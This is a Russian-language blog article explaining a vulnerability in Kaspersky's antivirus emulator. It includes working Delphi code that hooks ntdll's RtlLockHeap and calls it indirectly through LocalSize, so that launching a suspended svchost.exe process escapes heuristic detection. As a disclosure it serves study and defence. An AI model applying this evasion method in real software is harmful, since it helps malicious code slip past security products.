Pull to refresh

Уязвимость эмулятора в антивирусе Касперского

Reading time 4 min
Views 4.4K
На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии «облачных сетей» и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.

Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.

Теория


Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.

Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.

Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.

Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
image

Практика


В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.

procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
  StartInfo.cb := SizeOf(TStartupInfoA);
  CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
end;

begin
  ProcessBadCode();
end.


Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая:
MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...).
Детекта антивирусом уже не будет.

var
  Initialized : Boolean;
procedure ProcessBadCode();
var
  StartInfo : TStartupInfoA;
  ProcInfo : TProcessInformation;
begin
  if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет
  begin
    Initialized := True; // посему сделаем переменную, которая будет это контролировать
    ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));
    StartInfo.cb := SizeOf(TStartupInfoA);
    CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
    Sleep(5000); // подождем и завершим запущенный процесс
    TerminateProcess(ProcInfo.hProcess, 0);
    ExitProcess(0); // завершим текущий
  end;
  Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу
end;

procedure ProcessStartCode();
  procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код
  var
    Protect, Stuff : Cardinal;
  begin
    VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);
    PByte(AddressFrom)^ := $E9;
    PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;
    VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);
  end;
var
  NativeFunc : procedure();
begin
  // найдем адрес первой функции
  @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');
  // Поставим там хук переведя исполнение программы на BadCode
  WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));
  // Вызовем вторую, которая вызовет первую ...
  LocalSize(0);
end;

begin
  ProcessStartCode();
end.


Выводы


Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…

Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.

В дополнение выкладывается комплект скомпилированных исполняемых файлов и исходники, о которых речь шла в статье. Пароль на архив — elcrabe.

Выражаю благодарность юзеру gjf за помощь в подготовлении статьи.
Tags:
Hubs:
+43
Comments 27
Comments Comments 27

Articles